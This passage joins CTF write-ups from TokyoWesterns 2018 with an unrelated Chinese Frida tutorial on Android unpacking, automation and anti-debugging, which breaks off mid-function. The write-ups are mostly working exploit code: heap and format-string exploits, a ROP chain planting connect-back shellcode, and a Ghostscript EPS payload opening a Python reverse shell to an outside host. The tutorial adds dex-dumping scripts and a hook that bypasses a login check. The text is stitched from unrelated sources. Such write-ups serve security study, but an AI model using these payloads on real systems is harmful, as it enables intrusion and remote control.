buy(code,0x7FFFFFFF)
left-=0x7FFFFFFF
buy(p64(heap_addr+0xd0),123)
buy(p64(heap_addr+0x10),123)
buy('a'*0x10+p64(0xDEADBEEF11),0x31)
buy(p64(0xDEADBEEF11),0x31)
buy('fuck1',0x31)
buy('C'*40+p64(heap_addr+0x1e0),123)
eat(5)
grill('Beef',0)
eat(0)
# fake a food structure in main_arena
buy(p64(0xDEADBEEF11),0xb1)
buy('k'*0x2+p64(heap_addr+0x10),123)
buy('c'*0x1+p64(0xDEADBEEF11),123)
buy(p64(libc.symbols['__malloc_hook']+0x10),123)
buy('C'*40+p64(heap_addr+0x2c0),123)
eat(5)
buy("H"*0x10+p64(heap_addr+0x390),123)
grill('',0)
eat(0)
## modify fastbin[1]'s first pointer to point to a little above malloc hook
left=0x100000000-0x210
while(left>0):
if(left<0x7FFFFFFF):
buy(p64(heap_addr+0x150),left)
break
else:
buy(p64(heap_addr+0x150),0x7FFFFFFF)
left-=0x7FFFFFFF
grill("H"*0x10+p64(heap_addr+0x390),1)
eat(1)
oneshot=libc.address+0x4526a
buy(cyclic(0x8)+p64(oneshot),123)
grill(p64(heap_addr+0x150).ljust(64,'x00'),1)
p.interactive()
## load | Pwn
题目让输入一个文件，然后输入一个offset和size，之后会通过一个函数将这个文件加载到栈上，加载之后close 了0 1 2
三个fd，由于没有开启canary，所以可以进行栈溢出，于是思考到要想办法控制这个输入，所以通过/proc/self/fd/0进行读取，则会读取stdin，于是可以进行read
tdin，进而进行rop。
但是由于关闭了stdin，stdout，stderr，且测试了/dev/tty发现没有该文件，且不知道flag是啥名字，所以需要进行反连。但是直接rop反连由于没有提供libc，且没有能够syscall的部分，所以直接rop反连比较麻烦，这个时候想到可以写/proc/self/mem，但是由于没有write函数，所以需要通过puts函数来写，通过控制/proc/self/mem的fd为1，则puts将会输出到mem，将shellcode写到text里，跳转执行即可。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
DEBUG = 0
if DEBUG:
p = process('./load')
else:
p = remote('pwn1.chal.ctf.westerns.tokyo', 34835)
SHELLCODE = "x68x76xbex45x25x66x68xd4xacx66x6ax02x6ax2ax6ax10x6ax29x6ax01x6ax02x5fx5ex48x31xd2x58x0fx05x48x89xc7x5ax58x48x89xe6x0fx05x48x31xf6xb0x21x0fx05x48xffxc6x48x83xfex02x7exf3x48x31xc0x48xbfx2fx2fx62x69x6ex2fx73x68x48x31xf6x56x57x48x89xe7x48x31xd2xb0x3bx0fx05x00";
def main():
filename_start = 0x601040
pop_rdi_ret = 0x400a73
pop_rsi_r15_ret = 0x400a71
open_at_plt = 0x400710
lseek_at_plt = 0x4006d8
puts_at_plt = 0x4006c0
atoi_at_plt = 0x400718
write_to = 0x400817
pops_ret = 0x400a6a
movs_call = 0x400a51
lseek_at_got = 0x600fb8
raw_input()
p.recvuntil('Input file name:')
fd_name = '/proc/self/fd/0'
mem_name = '/proc/self/mem'
payload = fd_name + 'x00' + mem_name + 'x00'
shellcode_at_num = len(payload)
payload += SHELLCODE
pos_at_num = len(payload)
payload += "1x00"
rop_at_num = len(payload)
#payload += p64(pop_rdi_ret)
#payload += p64(filename_start + shellcode_at_num)
#payload += p64(puts_at_plt)
#payload += p64(0x400816)
p.sendline(payload)
p.recvuntil('Input offset:')
p.sendline('0')
payload = 'a' * (56 - 8) + p64(filename_start + rop_at_num)
payload += p64(pop_rdi_ret)
payload += p64(filename_start + len(fd_name) + 1) # rdi = "/proc/self/mem"
payload += p64(pop_rsi_r15_ret)
payload += p64(0)
payload += p64(0) # rsi = r15 = 0
payload += p64(open_at_plt) # open("/proc/self/mem", 2) -> fd = 0
payload += p64(pop_rdi_ret)
payload += p64(filename_start + len(fd_name) + 1)
payload += p64(pop_rsi_r15_ret)
payload += p64(2)
payload += p64(0) # rsi = r15 = 0
payload += p64(open_at_plt) # open("/proc/self/mem", 2) -> fd = 1
payload += p64(pops_ret)
payload += p64(0) # rbx + 1 == rbp -> edx
payload += p64(1) # rbp
payload += p64(lseek_at_got) # r12 call r12 + rbx * 8
payload += p64(0) # r13
payload += p64(write_to) # r14 -> rsi
payload += p64(1) # r15 (r15d) -> edi
payload += p64(movs_call)
payload += p64(0) # dummy
payload += p64(0) # rbx after
payload += p64(0) # rbp after
payload += p64(0) # r12 after
payload += p64(0) # r13 after
payload += p64(0) # r14 after
payload += p64(0) # r15 after
payload += p64(pop_rdi_ret)
payload += p64(filename_start + shellcode_at_num)
payload += p64(puts_at_plt)
payload += p64(write_to)
p.recvuntil('size: ')
p.sendline(str(len(payload)))
p.send(payload)
p.interactive()
if __name__ == '__main__':
main()
## neighbor_c | Pwn
题目逻辑比较简单，两次call函数，之后进行不停的fgets 0x100到stderr，然后fprintf。
（以下为把sleep patch后的调试版本，原函数在while中，fprintf后会sleep 1秒，且在进入时会sleep3秒）
stderr是通过参数传入的。
所以可以往栈上已经有的位置写东西，然后由于两次call函数，所以存在多个指向栈上的指针，这样就可以通过partial
write（写一个字节的方式）来控制一个指向栈上的指针指向栈上想要改动的东西。（但由于栈最后一个字节存在变动，所以需要16次爆破）
这样的话，就可以通过改动栈上的fileptr，使其指向stdout，从而得到leak的地址。
得到leak的地址之后，就可以通过先改动指向栈上指针的低地址从而改动栈上任意位置的值，之后可以利用栈上被任意改动的值来做到任意写，把one
gadget写入malloc
hook，通过触发fprintf时的malloc来getshell。（但由于libc里stdout结构体位于X600，而stderr位于X520，这个X没法确定，所以需要半个字节，也就是16次爆破）
最终我们需要16 × 16 = 256次爆破，还算是可以接受的范围，因为有sleep 3秒。
（我的exp是一开始错误的思路，试图改写vtable来bypass
2.24的check，但是由于触发overflow需要0x2000个字节的输入，明显这题做不到，所以失败了，但是调试过程发现malloc触发了，所以直接改动了，把写vtable改成了写malloc
hook getshell的，所以比较混乱）
（下次有爆破记得cat fla*。。搞得我爆破了好几次）
from pwn import *
import os
context(os='linux', arch='amd64', log_level='debug')
DEBUG = 0
libc = ELF('libc.so.6')
if DEBUG:
#p = process('./neighbor_c', env={'LD_PRELOAD': os.getcwd() + '/libc.so.6'})
#p = remote('localhost', 12121)
pass
else:
#p = remote('neighbor.chal.ctf.westerns.tokyo', 37565)
pass
def main(p, base, halfbyte):
if DEBUG:
raw_input()
p.recvuntil('mayor.')
p.sendline('dtj')
if DEBUG:
base = int(raw_input('base number'), 16)
value = base + 0x18
p.sendline('%{}c%9$hhn'.format(value));
if DEBUG:
half_byte = int('0x{}600'.format(raw_input('stdout half byte number').strip()), 16)
else:
half_byte = int('0x{}600'.format(halfbyte), 16)
p.sendline('%{}c%11$hn'.format(half_byte))
p.sendline('anciety%lx %lx %lx %lx %lx %lx %lx')
if DEBUG:
p.recvuntil('anciety')
else:
p.recvuntil('anciety', timeout=4)
#p.recvuntil('anciety', timeout=3)
line = p.recvline().strip().split()
p.info(line)
libc_base = int(line[4], 16) - (0x7f1b5b0a6520 - 0x00007f1b5ace4000)
p.info('get libc base %lx' % libc_base)
stderr_struct = libc_base + libc.symbols['_IO_2_1_stderr_']
#stderr_struct = libc_base + (0x7ffc9f055e00 - 0x00007f31f5233000)
stderr_vtable = stderr_struct + 0xe0 - 8
wstr_jump_table = libc_base + libc.symbols['_IO_wfile_jumps'] - 0x248
# modify things back
p.sendline('%{}c%9$hhn'.format(base + 0x18))
stderr_last_two = u16(p64(libc_base + libc.symbols['_IO_2_1_stderr_'])[:2])
p.sendline('%{}c%11$hn'.format(stderr_last_two))
# change fp+0xe0 to one_gadget
malloc_hook = libc_base + libc.symbols['__malloc_hook']
newip_at = malloc_hook
one_gadget = libc_base + 0xf24cb
new_ip_packed = p64(newip_at)
# points to libc value
p.sendline('%{}c%9$hhn'.format(base))
p.sendline('%{}c%11$hn'.format(u16(p64(newip_at)[:2])))
'''
# modify libc value to fp+0xe0
x = 0
for i in new_ip_packed[:4]:
x += 1
p.sendline('%{}c%11$hhn'.format(ord(i)))
# points to next value to modify
p.sendline('%{}c%9$hhn'.format(base + x))
'''
# modify fp+0xe0+8 to one_gadget now
p.info('modify %x to %x' % (newip_at, one_gadget))
x = 0
for i in p64(one_gadget)[:6]:
x += 1
p.sendline('%{}c%5$hhn'.format(ord(i)))
p.sendline('%{}c%11$hhn'.format(ord(new_ip_packed[0]) + x))
# points to libc value
p.sendline('%{}c%9$hhn'.format(base))
p.info('modify %x to %x' % (stderr_vtable, wstr_jump_table))
# modify libc value to stderr's vtable
x = 0
stderr_vtable_packed = p64(stderr_vtable)
for i in stderr_vtable_packed[:6]:
x += 1
p.sendline('%{}c%11$hhn'.format(ord(i)))
p.sendline('%{}c%9$hhn'.format(base + x))
x = 0
if False:
p.sendline('break me')
p.recvuntil('break me')
raw_input('break me')
p.sendline('%{}c%9$hhn'.format(base))
p.sendline('%{}c%5$hn'.format(u16(p64(wstr_jump_table)[:2])))
p.sendline('%40000c')
p.recv()
p.sendline('echo wtf')
try:
p.recvuntil('wtf', timeout=3)
except:
return False
p.sendline('ls')
p.recv()
p.sendline('cat flag')
p.interactive()
return True
def bruteforce():
if DEBUG:
p = remote('localhost', 12121)
main(p, '10', 'a')
return
while True:
try:
with remote('neighbor.chal.ctf.westerns.tokyo', 37565) as p:
#with remote('localhost', 12121) as p:
if main(p, 0x10, 'a'):
return
except KeyboardInterrupt as e:
raise e
except:
pass
if __name__ == '__main__':
bruteforce()
## welcome |Misc
签到题
## dec dec dec | reverse
一次base64，一次rot13，一次魔改base64，解密即可。
## mondai.zip | misc
First password: y0k0s0 (filename is y0k0s0.zip)
Second password: We1come (bytearray of char(192.168.11.5 echo request size))
Third password: eVjbtTpvkU ([i for i in file(“list.txt”).read().split(‘n’)]
and bruteforce)
Forth password: happyhappyhappy (1c9ed78bab3f2d33140cbce7ea223894 md5 hash
crack)
Fifth password: to (bruteforce zip file)
TWCTF{We1come_to_y0k0s0_happyhappyhappy_eVjbtTpvkU}
## vimshell | misc
chrome -app=<https://vimshell.chal.ctf.westerns.tokyo>
Ctrl + W -> :! cat /flag
## slack emoji converter | web
We can get the sourcecode just by looking at the sourcecode of the index page.
<!– <a href=”/source”>source</a> –> shows the following data :-
from flask import (
Flask,
render_template,
request,
redirect,
url_for,
make_response,
)
from PIL import Image
import tempfile
import os
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/source')
def source():
return open(__file__).read()
@app.route('/conv', methods=['POST'])
def conv():
f = request.files.get('image', None)
if not f:
return redirect(url_for('index'))
ext = f.filename.split('.')[-1]
fname = tempfile.mktemp("emoji")
fname = "{}.{}".format(fname, ext)
f.save(fname)
img = Image.open(fname)
w, h = img.size
r = 128/max(w, h)
newimg = img.resize((int(w*r), int(h*r)))
newimg.save(fname)
response = make_response()
response.data = open(fname, "rb").read()
response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
os.unlink(fname)
return response
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080, debug=True)
Well, as you noticed, the code itself is not vulnerable. But if you ever
noticed, it uses the PIL library which has been known to have RCEs by
maliciously crafting image
([CVE-2017-8291](https://github.com/vulhub/vulhub/tree/master/python/PIL-CVE-2017-8291)).
However, this CVE-2017-8291 is outdated. This CTF is running in September
2018. Many of people should’ve been stuck here.
I’ve been searching on google and found this interesting [issue
request](http://seclists.org/oss-sec/2018/q3/142) that was written in
seclists.org last month.
But Just copy and pasting the PoC does not give you the flag. You need to
craft it a little further and make it suitable for the challenge server to
recognize the file.
(But seriously, this challenge is a 1day exploit challenge and this 1day is
not assigned by CVE yet. How awesome is that?)
In my case, I used the following ghostscript file and uploaded it onto the
server.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 30 30
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("harold.kim",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops
The result? well…
root@imouto-router:/# nc -vlp 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from 45.123.200.35.bc.googleusercontent.com 53674 received!
/bin/sh: 0: can't access tty; job control turned off
$ cat /flag
TWCTF{watch_0ut_gh0stscr1pt_everywhere}$ id
uid=1000(emoji) gid=1000(emoji) groups=1000(emoji)
$ exit
root@imouto-router:/#
## py sandbox | misc
The objective of this challenge is nothing but to bypass the ast filters and
execute the flag.
In this challenge, I used the following payload to solve both challenges.
pysandbox1: [1,2,3,4][1:__import__("os").system("cat flag")]
pysandbox2: [1,2,3,4][1:__import__("os").system("cat flag2")]
How it works?
First we need to look at what kind of attributes are checked within the
check() function.
'BoolOp': ['values'],
'BinOp': ['left', 'right'],
'UnaryOp': ['operand'],
'Lambda': ['body'],
'IfExp': ['test', 'body', 'orelse'],
'Dict': ['keys', 'values'],
'Set': ['elts'],
'ListComp': ['elt', 'generators'],
'SetComp': ['elt', 'generators'],
'DictComp': ['key', 'value', 'generators'],
'GeneratorExp': ['elt', 'generators'],
'Yield': ['value'],
'Compare': ['left', 'comparators'],
'Call': False, # call is not permitted
'Repr': ['value'],
'Num': True,
'Str': True,
'Attribute': False, # attribute is also not permitted
'Subscript': ['value'],
'Name': True,
'List': ['elts'],
'Tuple': ['elts'],
'Expr': ['value'], # root node
'comprehension': ['target', 'iter', 'ifs'],
And this check() is run recursively so you can’t even use any of above ast
types.
My approach was to analyze the ast attributes from the input by dumping the
parsed variables ast.dump(ast.parse(stdin))`
So I modified a bit of the challenge script to start debugging..
root@stypr-200109:~# python x.py
[1,2,3]
Module(body=[Expr(value=List(elts=[Num(n=1), Num(n=2), Num(n=3)], ctx=Load()))])
Above code obviously works because it meets the criteria.
root@stypr-200109:~# python x.py
[1,2,3,4][1:__import__('os').system('ls')]
Module(body=[Expr(value=Subscript(value=List(elts=[Num(n=1), Num(n=2), Num(n=3), Num(n=4)], ctx=Load()), slice=Slice(lower=Num(n=1), upper=Call(func=Attribute(value=Call(func=Name(id='__import__', ctx=Load()), args=[Str(s='os')], keywords=[], starargs=None, kwargs=None), attr='system', ctx=Load()), args=[Str(s='ls')], keywords=[], starargs=None, kwargs=None), step=None), ctx=Load()))])
<class '_ast.Expr'>
<class '_ast.Subscript'>
<class '_ast.List'>
<class '_ast.Num'>
<class '_ast.Num'>
<class '_ast.Num'>
<class '_ast.Num'>
x.py flag
Well, as you’ve seen, Slice is not included in the attribute check. So this
literally bypasses the check() function.
exploiting this slice gives the flag :-
root@stypr-200109:~# echo -e '[1,2,3,4][1:__import__("os").system("cat flag")]' | nc -v4 pwn1.chal.ctf.westerns.tokyo 30001
Connection to pwn1.chal.ctf.westerns.tokyo 30001 port [tcp/*] succeeded!
TWCTF{go_to_next_challenge_running_on_port_30002}
[]root@stypr-200109:~# cat a.txt | nc -v4 pwn1.chal.ctf.westerns.tokyo 30002 | tail -3
Connection to pwn1.chal.ctf.westerns.tokyo 30002 port [tcp/*] succeeded!
sys.stdout.flush()
TWCTF{baby_sandb0x_escape_with_pythons}
[]root@stypr-200109:~#
## BBQ old | pwn
与BBQ 相同。 | 社区文章 |
# 实用FRIDA进阶：脱壳、自动化、高频问题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前面我们聊到了`Frida`在内存漫游、`hook
anywhere`、抓包等场景中地用法，今天我们聊`Frida`在脱壳、自动化的用法以及经常被问到的高频问题。
`Frida`系列文章地址：<https://github.com/r0ysue/AndroidSecurityStudy>
## 1 Frida用于脱壳
安全工程师在拿到应用评测的任务之后，第一件事情是抓到他的收包发包，第二件事情应该就是拿到它的`apk`，打开看看里面是什么内容，如果不幸它加了壳，可能打开就是这样的场景，见下图，什么内容都看不到，这时候就要首先对它进行脱壳。
壳的种类非常多，根据其种类不同，使用的技术也不同，这里稍微简单分个类：
* 一代整体型壳：采用Dex整体加密，动态加载运行的机制；
* 二代函数抽取型壳：粒度更细，将方法单独抽取出来，加密保存，解密执行；
* 三代VMP、Dex2C壳：独立虚拟机解释执行、语义等价语法迁移，强度最高。
先说最难的`Dex2C`目前是没有办法还原的，只能跟踪进行分析；`VMP`虚拟机解释执行保护的是映射表，只要心思细、功夫深，是可以将映射表还原的；二代壳函数抽取目前是可以从根本上进行还原的，`dump`出所有的运行时的方法体，填充到`dump`下来的`dex`中去的，这也是[`fart`](https://bbs.pediy.com/user-632473.htm)的核心原理；最后也就是目前我们推荐的几个内存中搜索和`dump`出`dex`的`Frida`工具，在一些场景中可以满足大家的需求。
### 1.1 文件头搜`dex`
地址是：<https://github.com/r0ysue/frida_dump>
# frida -U --no-pause -f com.xxxxxx.xxxxxx -l dump_dex.js
____
/ _ | Frida 12.8.9 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://www.frida.re/docs/home/
Spawned `com.xxxxx.xxxxx`. Resuming main thread!
[Google Pixel::com.xxxxx.xxxxx]-> [dlopen:] libart.so
_ZN3art11ClassLinker11DefineClassEPNS_6ThreadEPKcmNS_6HandleINS_6mirror11ClassLoaderEEERKNS_7DexFileERKNS9_8ClassDefE 0x7adcac4f74
[DefineClass:] 0x7adcac4f74
[find dex]: /data/data/com.xxxxx.xxxxx/files/7abfc00000_8341c4.dex
[dump dex]: /data/data/com.xxxxx.xxxxx/files/7abfc00000_8341c4.dex
[find dex]: /data/data/com.xxxxx.xxxxx/files/7ac4096000_6e6c8.dex
[dump dex]: /data/data/com.xxxxx.xxxxx/files/7ac4096000_6e6c8.dex
[find dex]: /data/data/com.xxxxx.xxxxx/files/7ac37c4028_8781c4.dex
[dump dex]: /data/data/com.xxxxx.xxxxx/files/7ac37c4028_8781c4.dex
其核心逻辑原理就是下面一句话`magic.indexOf("dex") == 0`，只要文件头中含有魔数`dex`，就把它`dump`下来。
if (dex_maps[base] == undefined) {
dex_maps[base] = size;
var magic = ptr(base).readCString();
if (magic.indexOf("dex") == 0) {
var process_name = get_self_process_name();
if (process_name != "-1") {
var dex_path = "/data/data/" + process_name + "/files/" + base.toString(16) + "_" + size.toString(16) + ".dex";
console.log("[find dex]:", dex_path);
var fd = new File(dex_path, "wb");
if (fd && fd != null) {
var dex_buffer = ptr(base).readByteArray(size);
fd.write(dex_buffer);
fd.flush();
fd.close();
console.log("[dump dex]:", dex_path);
}
}
}
}
### 1.2 DexClassLoader：objection
安卓只能使用继承自`BaseDexClassLoader`的两种`ClassLoader`，一种是`PathClassLoader`，用于加载系统中已经安装的`apk`；一种就是`DexClassLoader`，加载未安装的`jar`包或`apk`。
可以用`objcetion`直接在堆上暴力搜索所有的`dalvik.system.DexClassLoader`实例，效果见下图：
# android heap search instances dalvik.system.DexClassLoader
连热补丁都被搜出来了，在某些一代壳上效果不错。
### 1.3 暴力搜内存：DEXDump
地址：<https://github.com/hluwa/FRIDA-DEXDump>
* 对于完整的`dex`，采用暴力搜索`dex035`即可找到。
* 而对于抹头的`dex`，通过匹配一些特征来找到，然后自动修复文件头。
效果非常好：
root@roysuekali:~/Desktop/FRIDA-DEXDump# python main.py
[DEXDump]: found target [7628] com.xxxxx.xxxxx
[DEXDump]: DexSize=0x8341c4, SavePath=./com.xxxxx.xxxxx/0x7abfc00000.dex
[DEXDump]: DexSize=0x8341c4, SavePath=./com.xxxxx.xxxxx/0x7ac0600000.dex
root@roysuekali:~/Desktop/FRIDA-DEXDump# du -h com.xxxxx.xxxxx/*
8.3M com.xxxxx.xxxxx/0x7abfc00000.dex
8.3M com.xxxxx.xxxxx/0x7ac0600000.dex
root@roysuekali:~/Desktop/FRIDA-DEXDump# file com.xxxxx.xxxxx/*
com.xxxxx.xxxxx/0x7abfc00000.dex: Dalvik dex file version 035
com.xxxxx.xxxxx/0x7ac0600000.dex: Dalvik dex file version 035
打开`dump`下来的`dex`，非常完整，可以用`jadx`直接解析。用`010`打开可以看到完整的文件头——`dexn035`，其实现代码也是简单粗暴，直接搜索：`64
65 78 0a 30 33 35 00`：
Memory.scanSync(range.base, range.size, "64 65 78 0a 30 33 35 00").forEach(function (match) {
var range = Process.findRangeByAddress(match.address);
if (range != null && range.size < match.address.toInt32() + 0x24 - range.base.toInt32()) {
return;
}
var dex_size = match.address.add("0x20").readInt();
if (range != null) {
if (range.file && range.file.path
&& (range.file.path.startsWith("/data/app/")
|| range.file.path.startsWith("/data/dalvik-cache/")
|| range.file.path.startsWith("/system/"))) {
return;
}
if (match.address.toInt32() + dex_size > range.base.toInt32() + range.size) {
return;
}
}
还有一部分想要特征匹配的功能还在实现中：
// @TODO improve fuzz
if (
range.size >= 0x60
&& range.base.readCString(4) != "dexn"
&& range.base.add(0x20).readInt() <= range.size //file_size
// && range.base.add(0x24).readInt() == 112 //header_size
&& range.base.add(0x34).readInt() < range.size
&& range.base.add(0x3C).readInt() == 112 //string_id_off
) {
result.push({
"addr": range.base,
"size": range.base.add(0x20).readInt()
});
}
### 1.4 暴力搜内存：objection
既然直接使用`Frida`的`API`可以暴力搜索内存，那么别忘了我们上面介绍过的`objection`也可以暴力搜内存。
# memory search "64 65 78 0a 30 33 35 00"
搜出来的`offset`是：`0x79efc00000`，大小是`c4 41 83
00`，也就是`0x8341c4`，转化成十进制就是`8602052`，最后`dump`下来的内容与`FRIDA-DEXDump`脱下来的一模一样，拖到`jdax`里可以直接解析。
## 2 Frida用于自动化
在`Frida`出现之前，没有任何一款工具，可以在语言级别支持直接在电脑上调用`app`中的方法。像`Xposed`是纯`Java`，根本就没有电脑上运行的版本；各种`Native`框架也是一样，都是由`C/C++/asm`实现，根本与电脑毫无关系。
而`Frida`主要是一款在电脑上操作的工具，其本身就决定了其“高并发”、“多联通”、“自动化”等特性：
* “高并发”：同时操作多台手机，同时调用多个手机上的多个`app`中的算法；
* “多联通”：电脑与手机互联互通，手机上处理不了的在电脑上处理、反之亦然；
* “自动化”：手机电脑互相协同，实现横跨桌面、移动平台协同自动化利器。
### 2.1 连接多台设备
`Frida`用于自动化的场景中，必然是不可能在终端敲`frida-tools`里的那些命令行工具的，有人说可以将这些命令按顺序写成脚本，那为啥不直接写成`python`脚本呢？枉费大胡子叔叔（`Frida`的作者oleavr的头像）为我们写好了`Python
bindings`，我们只需要直接调用即可享受。
`Python bindings`在安装好`frida-tools`的时候已经默认安装在我们的电脑上了，可以直接使用。
连接多台设备非常简单，如果是`USB`口直接连接的，只要确保`adb`已经连接上，如果是网络调试的，也要用`adb
connect`连接上，并且都开启`frida server`，键入`adb devices`或者`frida-ls-devices`命令时多台设备的`id`都会出现，最终可以使用`frida.get_device(id)`的`API`来选择设备，如下图所示。
### 2.2 互联互通
互联互通是指把`app`中捕获的内容传输到电脑上，电脑上处理结束后再发回给`app`继续处理。看似很简单的一个功能，目前却仅有`Frida`可以实现。
比如说我们有这样一个`app`，其中最核心的地方在于判断用户是否为`admin`，如果是，则直接返回错误，禁止登陆。如果不是，则把用户和密码上传到服务器上进行验证登录操作，其核心代码逻辑如下：
public class MainActivity extends AppCompatActivity {
EditText username_et;
EditText password_et;
TextView message_tv;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
password_et = (EditText) this.findViewById(R.id.editText2);
username_et = (EditText) this.findViewById(R.id.editText);
message_tv = ((TextView) findViewById(R.id.textView));
this.findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (username_et.getText().toString().compareTo("admin") == 0) {
message_tv.setText("You cannot login as admin");
return;
}
//我们hook的目标就在这里
message_tv.setText("Sending to the server :" + Base64.encodeToString((username_et.getText().toString() + ":" + password_et.getText().toString()).getBytes(), Base64.DEFAULT));
}
});
}
}
运行起来的效果如下图：
我们的目标就是在电脑上“得到”输入框输入的内容，并且修改其输入的内容，并且“传输”给安卓机器，使其通过验证。也就是说，我们的目标是哪怕输入`admin`的账户名和密码，也可以绕过本地校验，进行服务器验证登陆的操作。
所以最终我们的`hook`代码的逻辑就是，截取输入，传输给电脑，暂停执行，得到电脑传回的数据之后，继续执行，用`js`来写就这么写：
Java.perform(function () {
var tv_class = Java.use("android.widget.TextView");
tv_class.setText.overload("java.lang.CharSequence").implementation = function (x) {
var string_to_send = x.toString();
var string_to_recv;
send(string_to_send); // 将数据发送给kali主机的python代码
recv(function (received_json_object) {
string_to_recv = received_json_object.my_data
console.log("string_to_recv: " + string_to_recv);
}).wait(); //收到数据之后，再执行下去
return this.setText(string_to_recv);
}
});
在电脑上的处理流程是，将接受到的`JSON`数据解析，提取出其中的密码部分保持不变，然后将用户名替换成`admin`，这样就实现了将`admin`和`password`发送给服务器的结果。我们的代码如下：
import time
import frida
def my_message_handler(message, payload):
print message
print payload
if message["type"] == "send":
print message["payload"]
data = message["payload"].split(":")[1].strip()
print 'message:', message
data = data.decode("base64") # 解码
user, pw = data.split(":") # 提取用户名和密码
data = ("admin" + ":" + pw).encode("base64") # 组成新的组合并编码
print "encoded data:", data
script.post({"my_data": data}) # 将JSON对象发送回去
print "Modified data sent"
device = frida.get_usb_device()
pid = device.spawn(["com.roysue.demo04"])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
with open("s4.js") as f:
script = session.create_script(f.read())
script.on("message", my_message_handler) # 注册消息处理函数
script.load()
raw_input()
同样很多手机上无法处理的数据，也可以编码后发送到电脑上进行处理，比如处理`GBK`编码的中文字符集数据，再比如对`dump`下来的内存或`so`进行二次解析还原等，这些在`js`几乎是无法处理的（或难度非常大），但是到了电脑上就易如反掌，用`python`导入几个库就可以。
在一些(网络)接口的模糊测试的场景中，一些字典和畸形数据的构造也会在电脑上完成，`app`端最多作为执行端接受和发送这些数据，这时候也需要使用到`Frida`互联互通动态修改的功能。
### 2.3 远程调用（RPC）
在脚本里定义一个导出函数，并用`rpc.exports`的字典进行声明：
function callSecretFun() { //定义导出函数
Java.perform(function () {
//to-do 做自己想做的事情
//比如这里是找到隐藏函数并且调用
Java.choose("com.roysue.demo02.MainActivity", {
onMatch: function (instance) {
console.log("Found instance: " + instance);
console.log("Result of secret func: " + instance.secret());
},
onComplete: function () { }
});
});
}
rpc.exports = {
callsecretfunction: callSecretFun //把callSecretFun函数导出为callsecretfunction符号，导出名不可以有大写字母或者下划线
};
在电脑上就可以直接在`py`代码里调用这个方法：
import time
import frida
def my_message_handler(message, payload):
print message
print payload
device = frida.get_usb_device()
pid = device.spawn(["com.roysue.demo02"])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
with open("s3.js") as f:
script = session.create_script(f.read())
script.on("message", my_message_handler)
script.load()
command = ""
while 1 == 1:
command = raw_input("Enter command:n1: Exitn2: Call secret functionnchoice:")
if command == "1":
break
elif command == "2": #在这里调用
script.exports.callsecretfunction()
最终效果就是按一下`2`，`function
callSecretFun()`就会被执行一次，并且结果会显示在电脑上的`py`脚本里，以供后续继续处理，非常方便。
笔者有一位朋友甚至将该接口使用`python`的`flask`框架暴露出去，让网络里的每个人都可以调用该方法，给自己的发包进行签名，可用说是一个需求非常庞大的场景。
## 3 Frida更多技巧
最后收集和整理一下大家在学习`Frida`的过程中可能会遇到的几个高频问题，以餮读者。
### 3.1 必须上版本管理
`Frida`从面世到现在已经有四五年了，大概17~18年那会儿开始火爆起来，大量的脚本和工具代码都是那段时间写出来的，而`Frida`又升级特别快，新的`Frida`对老的脚本兼容性不是很好，见下图最新的`Frida`运行老的脚本，日志格式已经乱掉了，而老版本（`12.4.8`）就没问题，见图2-18。如果要运行一些两三年历史的代码，必然需要安装两三年前左右的版本，这样才能跑起来，并且不出错。
版本管理用`pyenv`即可，熟练使用`pyenv`可以基本上满足同时安装几十个`Frida`版本的需求。
### 3.2 反调试基本思路
几个最基本的思路，首先`frida-server`的文件名改掉，类似于`frida-server-12.8.9-android-arm64`这样的文件名，我一般改成`fs1289amd64`，当然读者可以想改成啥就改成啥。
有些反调试还会检查端口，比如`frida-server`的默认端口是`27042`，这个端口一般不会有人用，如果`27042`端口打开并且正在监听，反调试就会工作，可以把端口改成非标准端口，方法下一小节就讲。
最后还有一种通过`Frida`内存特征对`maps`中`elf`文件进行扫描匹配特征的反调试方法，支持`frida-gadget`和`frida-server`，项目地址在[这里](https://github.com/qtfreet00/AntiFrida)。
其核心代码如下：
void *check_loop(void *) {
int fd;
char path[256];
char perm[5];
unsigned long offset;
unsigned int base;
long end;
char buffer[BUFFER_LEN];
int loop = 0;
unsigned int length = 11;
//"frida:rpc"的内存布局特征
unsigned char frida_rpc[] =
{
0xfe, 0xba, 0xfb, 0x4a, 0x9a, 0xca, 0x7f, 0xfb,
0xdb, 0xea, 0xfe, 0xdc
};
for (unsigned char &m : frida_rpc) {
unsigned char c = m;
c = ~c;
c ^= 0xb1;
c = (c >> 0x6) | (c << 0x2);
c ^= 0x4a;
c = (c >> 0x6) | (c << 0x2);
m = c;
}
//开始检测frida反调试循环
LOGI("start check frida loop");
while (loop < 10) {
fd = wrap_openat(AT_FDCWD, "/proc/self/maps", O_RDONLY, 0);
if (fd > 0) {
while ((read_line(fd, buffer, BUFFER_LEN)) > 0) {
// 匹配frida-server和frida-gadget的内存特征
if (sscanf(buffer, "%x-%lx %4s %lx %*s %*s %s", &base, &end, perm, &offset, path) !=
5) {
continue;
}
if (perm[0] != 'r') continue;
if (perm[3] != 'p') continue;
if (0 != offset) continue;
if (strlen(path) == 0) continue;
if ('[' == path[0]) continue;
if (end - base <= 1000000) continue;
if (wrap_endsWith(path, ".oat")) continue;
if (elf_check_header(base) != 1) continue;
if (find_mem_string(base, end, frida_rpc, length) == 1) {
//发现其内存特征
LOGI("frida found in memory!");
#ifndef DEBUG
